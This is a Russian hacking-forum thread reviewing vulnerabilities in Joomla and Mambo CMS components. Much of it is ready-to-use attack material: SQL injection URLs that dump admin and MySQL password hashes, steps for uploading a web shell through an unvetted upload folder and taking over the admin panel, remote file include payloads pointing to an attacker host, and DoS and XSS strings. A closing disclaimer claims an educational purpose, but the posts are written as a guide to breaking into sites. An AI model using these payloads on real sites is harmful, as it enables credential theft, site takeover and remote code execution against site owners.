![]() |
Обзор уязвимостей CMS [Joomla,Mambo] и их компонентов
CMS Joomla! Хочу начать обзор со слов, что как бы Joomla не считалась одной из самых уязвимых CMS, на мой взгляд, Joomla очень даже не плохой движок со стороны безопасности. Проблема заключается в сторонних компонентах подключаемых к движкам и разработанных левыми (не разработчиками Джумлы) разработчиками. Но блогодаря сторонним компонентам эта CMS становиться интересной «изнутри» (в администраторской панели). Доступ в администраторскую панель: Здесь я коснусь двух найденных мною уязвимостей в Джумле. 1. Компонент SimpleFaq 2.х (com_simplefaq) * Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре aid в установочном сценарии Joomla index.php (когда параметр \"option\" установлен в com_simplefaq и параметр task установлен в answer). Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения. (c) securitylab.ru * я позже узнал, что эта уязвимость была найдена до меня Уязвимые версии 2.х – 2.40 Внешний вид: http://efots.info/images/10913601.gif При запросе: Код:
http://victim.com/index.php?option=com_simplefaq&task=answer&Itemid=9999&catid=9999&aid=-1/**/union/**/select/**/0,username,password,email,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0/**/from/**/jos_users/*http://efots.info/images/18549402.gif Теперь остаётся расшифровать хеш и проходить в администраторскую панель. Таким же образом можно получить доступ к БД MySQL, запросом: Код:
http://victim.com/index.php?option=com_simplefaq&task=answer&Itemid=9999&catid=9999&aid=-1/**/union/**/select/**/0,User,Password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0/**/from/**/mysql.user/*http://efots.info/images/71574103.gif 2. Компонент ReMOSitory 341RE (com_remository) * Уязвимость существует из-за недостаточной обработки загружаемых файлов на сервер, и наличия прямого доступа к ним по дефолту. * Данной уязвимости еще нигде не встречал Внешний вид: http://efots.info/images/67777804.gif Теперь регистрируемся, и идем заливать файл (в нашем случае это шел))) по ссылке «Добавить файл» После того как файл добавлен он автоматически загружается во временное хранилище (/downloads/uploads/), до одобрения администратора. Но мы ждать не будем и последуем по ссылке http://victim.com/downloads/uploads/ и увидим следующее: http://efots.info/images/21416405.gif Открываем... А дальше совсем другая история, которую не раз поднимали в пределах форума. Администраторская панель. Вот мы и добрались до намеченной цели, но мало попасть сюда, нужно еще и иметь доступ на добавление/редактирование/удаление файлов. Для этого есть два варианта: 1. В большинстве случаях (на моей практике это 95/100) доступны на запись следующие папки: Цитата:
JoomlaXplorer 2.0 – подобие FTP сервера с возможностью установки прав на файлы, загрузка/редактирование/удаление файлов. Скрин: http://efots.info/images/79943006.gif Причем как можно заметить из скрина доступ обеспечивает не только на директорию сайта, но и если здесь же хостятся другие, то и к другим))) JoomlaPack 1.1.0 – Компонент для создания архива данных (бэкап БД и Полный бэкап сайта с установочными файлами) http://efots.info/images/54737907.gif Здесь ничего сложного нет, просто идем по ссылке «Создать архив сайта», выбираем, что именно нужно создать (архив БД или архив сайта), создаем, потом идем по ссылке «Сохраненные архивы сайта» и скачиваем. Теперь сайт под нашим чутким руководством))) 2. Использования шелла для поднятия рутовских прав, по этой возможности много статей можно найти пройдя по ссылке www.google.com На этом всё. Ответственность за использования данной статьи предусмотрено Уголовным Кодексом Российской Федерации. Тема создана в познавательных целях. JoomlaXplorer 2.0 – тут JoomlaPack 1.1.0. – тут Подборка сплоитов для CMS Joomla! И сторонних компонентов – тут – сплоиты (с) milw0rm.com P.S. И помните каким бы ни был взлом, главное что бы он был безопасным (с) Анфиса Чехова it's my (с) 2007 |
=НЕ ФЛЕЙМИТЬ=
Для того чтобы было легче понять - Joomla - Это как бы 5ая версия Мамбы, которую решили нумеровать и назвать заново. Насчет узнавания версии в последних релизах вопрос затруднительный. Файл CHANGELOG.php может просматривать только админ, /includes/version.php тоже недотсупен на чтение. только инклудиься в файлы админки. installation/index.php - обычно удаляется. Смотрю более старые версии. Множество модулей для джумлы - мамбы страдают удаленнм - локальным инклудом файлов. Все из-за того, что переменная $mosConfig_absolute_path которая инклудится в практически каждом файле никак не проверяется. Точный список модулей и версий скоро будет готов. 4.5.2.1 mysql >4.1 (Использует подзапросы) Bug: Цитата:
Mambo 4.5.2.1 by RST 4.6rc1 Уязвимость в модуле com_frontpage, использует посимвольный benchmark брут полей. Mambo <= 4.6rc1 'Weblinks' blind SQL injection 1.0 RFI - http://targetsite.com/[path_to_Joomla!]/includes/joomla.php?includepath=[attacker] (c) http://packetstormsecurity.org/0606-exploits/joomla10.txt 1.0.7 Уязвимость в модуле com_rss, позволяющая провести дос атаку, путь, а также создавать произвольные файлы. Mambo/Joomla Path Disclosure & Remote DOS Exploit Создание файла: index.php?option=com_rss&feed=[имя файла]&no_html=1 Путь: index.php?option=com_rss&feed=/&no_html=1 DoS: index.php?option=com_poll&task=results&id=1&mosmsg =DOS@HERE<<>AAA<><> (с) bugs discovered by Foster (RST/GHC) В 1.0.8 все исправлено. Также как я посмотрел в этой версии с $mosmsg можно провести xss атаку, фильтр includes/phpInputFilter/class.inputfilter.php пропускает половину тэгов. 1.0.9 Уязвимость в модуле com_frontpage, использует посимвольный benchmark брут полей. Joomla <= 1.0.9 'Weblinks' blind SQL injection 1.0.10 Уязвимость в com_poll, позволяющая "накрутить" тот или иной вариант ответа Joomla add unlimited votes 1.5.0 Уязвимость поволяет выполнять произвольные команды на сервере PoC: http://hacked/libraries/pcl/pcltar.php?g_pcltar_lib_dir=http://hacker/? Joomla! 1.5.0 Remote file include 1.5 - 1.5 beta 2 Уязвимость позволяет удаленно выполнять комманды на сервере. Уязвимый код: Код:
1) components/com_search/views/search/tmpl/default_results.phpЦитата:
1.5 beta 1,2 + RC1 Уязвимость присутствует в модуле com_contentв трех файлах archive.php,category.php,section.php в параметре filter, Joomla! 1.5 Beta1/Beta2/RC1 Remote SQL Injection Exploit Все версии ./administration/ sql injection http://packetstormsecurity.org/0707-exploits/joomla-sql.txt PoC: Цитата:
Цитата:
Заливка шела в 1.5.* версиях. Цитата:
|
Инклуды в модах/модулях/компонентах
Вложений: 1
Инклуды в модах/модулях/компонентах
Обновлено: 12.01.2008 Софтинка для автоматического чека инклудов прилагается в атаче. добавлен скрипт удаления повторов и сортировки по алфавиту |
sql в гостевой книге (модуль com_akobook)
v. <=3.42 Цитата:
Цитата:
|
VULN: /multithumb.php
BUG: include_once($mosConfig_absolute_path."/mambots/content/multithumb/class.img2thumb.inc"); (с) http://www.rootshell-team.com/showthread.php?t=2969 |
CBSMS Mambo Module <= 1.0 ([mosConfig_absolute_path])
# http://www.site.com/[path]/mod_cbsms_messages.php?mosConfig_absolute_path=[evil script] |
Как узнать версию Joomla?
Файл configuration.php-dist лежит в корне и сам себя описывает так: * ------------------------------------------------------------------------- * ЭТОТ ФАЙЛ ДОЛЖЕН ИСПОЛЬЗОВАТЬСЯ ТОЛЬКО ПРИ НЕВОЗМОЖНОСТИ WEB-ИНСТАЛЛЯТОРА * * Если вы устанавливаете Joomla вручную, то есть не используете web-инсталлятор, * то переименуйте этот файл в configuration.php * * Например: * UNIX -> mv configuration.php-dist configuration.php * Windows -> rename configuration.php-dist configuration.php * * Теперь отредактируйте этот файл и установите параметры вашего сайта * и базы данных. * ------------------------------------------------------------------------- Проблема, однако, состоит в том, что в 9 из 10 случаев файл переименовать либо забывают, либо просто не считают нужным. Примеры тому http://www.joomla.org/configuration.php-dist http://www.joomla.ru/configuration.php-dist Между тем, файл содержит чувствительную информацию, позволяющую узнать версию установленного пакета. Так, если установлена версия 1.0.13, файл содержит строчку: * @version $Id: configuration.php-dist 7424 2007-05-17 15:56:10Z robs $ версии 1.0.11, 1.0.12 * @version $Id: configuration.php-dist 4802 2006-08-28 16:18:33Z stingrey $ версии 1.0.9, 1.0.10 * @version $Id: configuration.php-dist 3754 2006-05-31 12:08:37Z stingrey $ версия 1.0.8 * @version $Id: configuration.php-dist 2622 2006-02-26 04:16:09Z stingrey $ версии 1.0.5-1.0.7 * @version $Id: configuration.php-dist 506 2005-10-13 05:49:24Z stingrey $ версия 1.0.4 * @version $Id: configuration.php-dist 217 2005-09-21 15:15:58Z stingrey $ версия 1.0.3 * @version $Id: configuration.php-dist 506 2005-10-13 05:49:24Z stingrey $ версии 1.0.1, 1.0.2 * @version $Id: configuration.php-dist 217 2005-09-21 15:15:58Z stingrey $ версия 1.0.0 * @version $Id: configuration.php-dist 47 2005-09-15 02:55:27Z rhuk $ |
Уязвимость в поиске по сайту в параметре searchword. Дыра является DOM based XSS.
http://site/index. php?option=com_search&searchword=';alert('XSS')// Для исполнения кода, пользователь должен сменить количество результатов поиска на одну страницу. уязвимы версии Joomla! <= 1.0.13 |
а если так:
* @version $Id: configuration.php-dist,v 1.4 2005/11/25 04:46:26 csouza Exp $ какая версия? смахивает на 1.4 но както меня напрягают числа, в списке выше 2005\10 - это уже 1.5 |
BlackCats, это у тебя какое-то Mambo (не из последних)... На счёт конкретной версии, сейчас, к сож. ответить не могу. Пока выкладываю данные для
Joomla 1.5.x 1.5.0 Release Candidate 3 * @version $Id: configuration.php-dist 8946 2007-09-18 14:26:22Z louis $ 1.5.0 Release Candidate 2 * @version $Id: configuration.php-dist 8290 2007-08-01 14:03:11Z jinx $ 1.5.0 Release Candidate 1 * @version $Id: configuration.php-dist 7740 2007-06-13 21:01:25Z laurens $ 1.5.0 Beta 2 * @version $Id: configuration.php-dist 6691 2007-02-21 09:29:26Z Jinx $ 1.5.0 Beta * @version $Id: configuration.php-dist 5361 2006-10-07 19:21:08Z Jinx $ |
| Время: 18:49 |